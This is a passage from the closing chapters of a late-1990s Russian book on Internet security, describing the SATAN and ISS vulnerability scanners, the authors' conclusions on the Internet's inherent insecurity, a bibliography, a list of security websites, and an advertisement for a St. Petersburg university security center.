выполняющий ограниченное число запросов, а связь с этим сервером
осуществляется c использованием случайного 32-битного числа (magic
cookie), которое служит для дополнительной аутентификации http-клиента.
Иначе говоря, оно служит для предотвращения перехвата конфиденциальной
информации броузером, отличным от запущенного SATAN'ом, а также вообще
против любого взаимодействия с http-сервером SATAN'а.
Любопытно, что в версиях до 1.1.1 в этой схеме аутентификации тоже была
ошибка, которая даже попала в один из бюллетеней CERT.
Итак, типичный сценарий работы с SATAN заключается в следующем:
настроить желаемые параметры, в том числе глубину сканирования; задать
адрес цели и уровень сканирования; просмотреть полученные результаты и
получить по ним более подробную информацию; устранить найденные уязвимости.
Администратору безопасности рекомендуется просканировать на жестком
уровне все свои хосты, а также все доверенные хосты, обязательно спросив
на это разрешение у их администраторов.
Это рекомендуется сделать даже сегодня, несмотря на то, что SATAN
устарел- вы сможете быстро получить список используемых сетевых служб и их
версий и проверить, нет ли среди них уязвимых, воспользовавшись
материалами CERT или CIAC.
8.9.2. Internet Scaner (ISS)
Уже после того, как была написана эта глава, мы столкнулись с
программой, которая более-менее удовлетворяет перечисленным требованиям к
современному средству автоматизированной проверки безопасности хоста. По
крайней мере, она регулярно обновляется. Она оригинально называется
Internet Scaner SAFESuite и распространяется компанией Internet Security
Systems (ISS - не путать с Internet Security Scaner) по адресу
http://www.iss.net. Как вы уже догадались, эта программа не бесплатна, в
отличие от SATAN, что в данном случае и неплохо - это несколько ограничит
число потенциальных кракеров. Для запуска она требует ключ, пересылаемый
вам при покупке пакета, а в оценочную (evaluation) версию включен ключ,
который разрешит вам сканирование только своего собственного хоста.
Эта программа реализована под 6 платформ:
Windows NT, HP/UX 9.x и 10.x,, AIX 3.2.5 и 4.1, Linux (ELF), SunOS
4.1.3, Solaris (SPARC) 2.x,
при этом любая из реализаций знает уязвимости и других платформ.
Функционально она состоит из трех частей:
сканер файрвола, Web-сканер и сканер Intranet. При этом, как и в SATAN,
пользователь настраивает уровень сканирования. При этом он имеет
возможность редактировать следующие любопытные классы уязвимостей:
в NFS, в RPC, в Sendmail/FTP, в X Windows, IP Spoofing (включая
возможность предсказания TCP-последовательности и атаки на r-службы),
отказ в обслуживании (различные способы), наличие пользователей по
умолчанию, тестирование стандартных демонов и правильности их настроек,
правильность настроек файрвола, наличие ошибок и правильность
администрирования Web-сервера.
К сожалению, мы не успели проверить качество работы и адекватность
тестирования этой программой, но, видимо, на сегодняшний день она является
одной из лучших.
Заключение
Заканчивая чтение предложенного материала об особенностях
информационной безопасности Internet, читатель вправе спросить: что же
делать?
Каковы реальные возможности защиты Internet? Каковы требования к режиму
использования Internet, сводящему риск до допустимых пределов? Список
вопросов, конечно, можно продолжить.
Сразу оговоримся, что для ответа на них необходимо писать следующую
книгу, что, если позволят обстоятельства, авторы сделают. Постараемся, тем
не менее, в сжатой форме изложить мнение авторов по этому поводу.
Оценка безопасности Internet
Исходно сеть создавалась как незащищенная открытая система,
предназначенная для информационного общения все возрастающего числа
пользователей.
При этом подключение новых пользователей должно было быть максимально
простым, а доступ к информации - наиболее удобным. Все это явно
противоречит принципам создания защищенной системы, безопасность которой
должна быть описана на всех стадиях ее создания и эксплуатации, а
пользователи - наделены четкими полномочиями.
Создатели сети не стремились к этому, да и требования защиты настолько
бы усложнили проект, что сделали бы его создание едва ли возможным.
Вывод: Internet создавался как незащищенная система, не предназначенная
для хранения и обработки конфиденциальной информации. Более того,
защищенный Internet не смог бы стать той системой, которой он сейчас
является и не превратился бы в информационный образ мировой культуры, ее
прошлого и настоящего. В этом самостоятельная ценность Сети и, возможно,
ее небезопасность есть плата за такое высокое назначение.
Следствие: Имеется множество пользователей, заинтересованных в том,
чтобы Internet стал системой с категорированной информацией и полномочиями
пользователями, подчиненными установленной политике безопасности.
Однако наиболее яркие творения человеческого разума через некоторое
время начинают жить самостоятельной жизнью, развиваясь и выходя за
первоначальные замыслы создателей.
Поэтому слабая защищенность сети с течением времени стала все больше
беспокоить ее пользователей.
На наш взгляд, в Сети не должна находиться информация, раскрытия
которой приведет к серьезным последствиям. Наоборот, в Сети необходимо
размещать информацию, распространение которой желательно ее владельцу. При
этом всегда необходимо учитывать тот факт, что в любой момент эта
информация может быть перехвачена, искажена или может стать недоступной.
Следовательно, речь должна идти не о защищенности Internet, а об
обеспечении разумной достаточности информационной безопасности Сети.
Конечно, это не отменяет необходимости ознакомления пользователя с
богатым и все время возрастающим арсеналом программных и аппаратных
средств обеспечения информационной безопасности сети.
Тем не менее отметим, что они не в состоянии превратить Internet в
защищенную среду, что означило бы изменение ее природы.
Будет ли Internet защищенным?
С нашей точки зрения, развитие средств безопасности Internet может
войти в противоречие с ее назначением и исказит саму идею Сети. Более
правомерна постановка вопроса о создании специализированной безопасной
мировой инфосферы, предназначенной для управления мировым производством,
транспортом, геополитикой.
Видимо, прогресс приведет к необходимости создания такой единой системы.
Такая среда общения будет обладать архитектурой безопасности и
гарантировать целостность и конфиденциальность информации. Очевидно, что
создатели этой системы должны обеспечить соблюдение политических и
экономических интересов мировых субъектов, т. к. многопольное владение
этой системой означает контроль над миром.
Ясно, что подобной средой не может быть Internet в сегодняшнем виде.
Главное, на наш взгляд, - нужно воздержаться от стремления приблизить
сегодняшний Internet к такой среде управления миром.
Internet по-своему хорош в том виде, в каком он есть.
В чем перспектива защиты информационных систем в эпоху интеграции среды
обработки информации? По нашему мнению, выход из сложившегося положения
состоит в четком разграничении информации, представляющей жизненный
интерес для субъектов - пользователей - и создания специализированных
систем ее обработки. Такие системы должны иметь возможность интегрирования
в мировую сеть при обеспечении их односторонней информационной изоляции. О
том, как создавать защищенные информационные системы, коллектив
сотрудников Специализированного центра защиты информации СПбГГУ попытается
рассказать в следующих книгах.
Литература
Robert H'obbes' Zakon. Hobbes' Internet Timeline v2.5.
Barry Leiner. A Brief History of the Internet.
Gregory R. Gromov. The Roads and Crossroads of Internet's History,1996.
Henry Edward Hardy. The History of the Net. Master's Thesis School of
Communications Grand Valley State University Allendale, MI, 1993.
Vinton G. Cerf. The Internet Phenomenon.
Gary Anthes. УОтецФ Internet. Computer World. Москва, N 15, 1994.
Computer World.
Morris R.T. A Weakness in the 4.2 BSD UNIX TCP/IP Software. Computing
Science Technical Report No. 117, ATT Bell Laboratories, Murray Hill, New
Jersey, 1985.
Dan Farmer. Shall We Dust Moscow? 18 December 1996.
Теория и практика обеспечения информационной безопасности, под
редакцией Зегжды П.Д., Изд.
УЯхтсменФ, 1996.
Гайкович В., Першин А.. Безопасность электронных банковских систем.,
Изд. УЕдиная ЕвропаФ, 1994.
Ростовцев А. Г. Элементы Криптологии, Изд. СПбГТУ Клименко С.,
Уразметов В., Internet. Среда обитания информационного общества,
Российский Центр Физико-Технической Информатики, 1995.
U.S. Office of Technology Assessment УInformation security and privacy
in network environments.Ф Bellovin S. Security Problems in the TCP/IP
Protocol Suite.
Larry Lange. 'Hack' punches hole in Microsoft NT security. EE Times,
31.03.97.
Dan Farmer, Wietse Venema. Improving the Security of Your Site by
Breaking Into it.
Клиффорд Столл. Яйцо кукушки.
Mark W. Eichin, Jon A. Rochils. With Microscope and Tweezers: An
Analysis of the Internet Virus of November 1988.
Eugene H. Spafford. The Internet Worm Program: An Analysis.
CIAC information bulletin H-07: Sendmail SIGHUP-smtpd Vulnerability.
CIAC information bulletin H-23: Sendmail MIME Conversion Buffer Overrun
Vulnerability.
CIAC information bulletin H-34: Vulnerability in innd.
Carl E. Landwehr, Alan R. Bull, John P. McDermott, and William S.Choi.
A Taxonomy of Computer Security Flaws, with Examples. Information
Technology Division, Code 5542, Naval Research Laboratory, Washington,
D.C. 20375-5337.
Barton P. Miller и др. Fuzz Revisited: A Re-examination of the
Reability of UNIX Utilities and Services.
Christopher Klaus. A Guide to Internet Security: Becoming an
Uebercracker and Becoming an UeberAdmin to stop Uebercrackers.
CIAC information bulletin E-17: FTP Daemon Vulnerabilities.
Bell Labs Computer Science Technical Report #117, February 25, 1985.
F. B. Cohen Packet Fragmentation Attacks.
Ping Death. http://www.sophist.demon.co.uk/ping.
Приложение
Перечень информационных ресурсов Internet, посвященных вопросам
информационной безопасности
Зарубежные сайты
First (Forum of Incident Response and Security Teams)
http://www.first.org
CERT (Computer Emergensy Response Team)
http://www.cert.org
CIAC (Computer Incident Advisory Capability)
http://ciac.llnl.gov
NASIRC (NASA Automated Systems Incident Response Capability)
http://nasirc.nasa.gov
DoD Information Analysys Center (IAC)
http://www.dtic.dla.mil/iac
NSA (National Security Agency)
http://www.nsa.gov:8080
FBI Computer crime information http://www.fbi.gov/compcrim.html
COAST (Computer Operations, Audit, and Security Technology )
http://www.cs.purdue.edu/coast
Отечественные сайты
СЦЗИ (Специализированный Центр Защиты Информации при СПбГТУ)
http://www.ssl.stu.neva.ru
Spy Market Pro http://www.spymarket.com
РЕГИОНэксперт http://www.regionexpert.ru/safety/10.htm
Zhurnal.ru http://www.zhurnal.ru/hack-zone
ИКСИ (Институт криптографии, связи и информатики)
http://www.fssr.ru
Специализированный Центр Защиты Информации и Кафедра Информационной
Безопасности Компьютерных Систем Санкт-Петербургского Государственного
Технического университета предлагает:
анализ безопасности прикладного и системного программного обеспечения и
подготовку материалов для сертификации; разработку безопасных
информационных систем; разработку безопасных сетевых решений для
корпоративных сетей, в т. ч. подключение к Internet; оказание консультаций
в области защиты информации, современных программных средств и современных
сетевых решений; обучение по специальности 22.07 "Организация и технология
защиты информации" (квалификация:
инженер, бакалавр, магистр); краткосрочные курсы повышения квалификации
администраторов безопасности; книги и учебные пособия по информационной
безопасности.
оказывает услуги:
восстановление работоспособности локальных сетей Novell Netwarc, UNIX и
Windows NT в случае утери пароля; восстановление информации, утерянной в
результате компьютерных вирусов или сбоев; обнаружение и отражение
удаленных атак в сетях Internet и Novell Netware.
Наш адрес: 195251, Санкт-Петербург, Политехническая ул., д. 29, главное
здание, ауд. 166, Тел./факс (812) 552-64-89 E-mail: [email protected]
WWW: www.ssl.stu.neva.ru